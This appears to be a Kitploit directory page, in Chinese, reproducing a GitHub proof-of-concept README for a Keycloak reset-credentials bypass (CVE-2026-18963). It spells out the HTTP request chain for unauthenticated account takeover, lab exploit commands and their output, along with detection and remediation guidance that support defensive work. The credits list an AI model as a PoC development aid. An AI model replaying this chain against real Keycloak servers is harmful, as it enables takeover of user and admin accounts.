Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-18963-keycloak — 针对 CVE-2026-18963 的概念验证漏洞利用,这是一个严重的 Keycloak 重置凭据绕过漏洞,可实现未认证的账户接管。包含实验环境搭建、检测指南以及供授权测试使用的修复步骤。 | Kitploit
工具/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
漏洞分析漏洞利用Web应用程序漏洞利用Web安全身份验证学习与教育
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

针对 CVE-2026-18963 的概念验证漏洞利用,这是一个严重的 Keycloak 重置凭据绕过漏洞,可实现未认证的账户接管。包含实验环境搭建、检测指南以及供授权测试使用的修复步骤。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
203462个月前尚未审核
分享

CVE-2026-18963 — Keycloak 重置凭据绕过 → 账户接管

Keycloak 重置凭据流程中的未认证账户接管。 仅知道用户名/邮箱的攻击者即可重置任意用户的密码 —— 包括管理员 —— 且无需接收验证邮件。

CVE CVSS CWE License


⚠️ 免责声明 — 仅限合乎道德的使用

本概念验证的发布严格用于教育目的、防御性研究、检测工程以及经授权的安全测试。

  • 仅对您拥有或已获得明确书面授权测试的系统使用。未经许可访问或修改系统是违法且不道德的。
  • 本资源是防御性/教育性资源,旨在帮助团队理解、检测并修复 CVE-2026-18963 —— 而非攻击第三方。
  • 作者(red-darkin)对使用本代码进行的任何滥用、损害或非法活动不承担任何责任或义务。 您对如何使用本代码以及遵守所有适用法律负全部责任。
  • 下载或使用本仓库即表示您接受这些条款。如果您不同意,请勿使用。

完整声明请参见 DISCLAIMER.md。


摘要

CVECVE-2026-18963
严重性严重 — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
弱点CWE-640 — 弱密码恢复机制
受影响版本Keycloak < 26.7.2(上游)。RH 构建流亦通过 26.6.6 / 26.4.15 捆绑包修复
修复版本Keycloak 26.7.2(PR #51844)
前提条件域上启用了 Forgot password(重置凭据)—— 此为默认配置
影响可完全接管任意用户(包括域管理员)的账户 → IdP 沦陷 + 横向 SSO 访问

工作原理 — 两个漏洞的串联

密码重置(reset-credentials)流程通常要求您点击发送至账户所有者邮箱的链接,之后才能设置新密码。两个缺陷使攻击者能够完全跳过该检查:

  1. 未限定作用域的 "Try Another Way" 状态 —— 认证器选择器处理器存储的标记 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" 未限定到执行 ID。重新进入该流程会使认证会话处于混乱/陈旧状态。
  2. 邮件步骤缺少令牌检查 —— ResetCredentialEmail.action() 调用 context.success() 时未验证 ACTION_TOKEN_USER_ID(即未确认邮件中的操作令牌确实已被消费)。

将两者串联即可使认证会话直接推进到任意用户的 UPDATE_PASSWORD 步骤,无需任何邮件。

GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

参见 docs/ROOTCAUSE.md 获取带注释的补丁差异。


快速开始(实验环境)

你需要 Docker 和带有 requests 的 Python 3。

# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

预期尾部:

[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

然后以 victim / Pwned-2026! 登录,以确认接管成功。

阴性对照(已修补)

KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

用法

python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

每个 HTTP 响应都会写入 ./dump/ 以便检查。


通过 Burp 代理

Keycloak 已占用 8080,因此将 Burp 的监听器指向另一个端口(例如 8081):

python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Burp Repeater 的原始请求链位于 requests/burp-chain.txt。


检测

查找在同一认证会话中未经过电子邮件验证的密码更改:

  • 某个会话中出现 UPDATE_PASSWORD 事件,但没有前置的 VERIFY_EMAIL / EXECUTE_ACTION_TOKEN。
  • 携带 tryAnotherWay=on 的 reset-credentials 请求突发。
  • 同一 tab_id 多次重新进入 login-actions/reset-credentials。

修复

  • 升级到 Keycloak 26.7.2(或已修复的 RH 构建流)——最高优先级。
  • 临时缓解措施:Realm settings → Login → Forgot password = Off。
  • 打补丁后:轮换管理员凭据,在重置后强制重新登录,并对上述检测信号发出告警。

参考资料

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • 修复 PR #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

演示

CVE-2026-18963 PoC

致谢

  • red-darkin — 实验环境复现、PoC 及撰写。
  • Claude (Anthropic) — 研究与 PoC 开发协助。

该攻击链已对照公开的 Keycloak 补丁(PR #51844)及社区撰写内容进行佐证。

许可证

MIT © red-darkin — 仅限教育及授权测试用途。

下载工具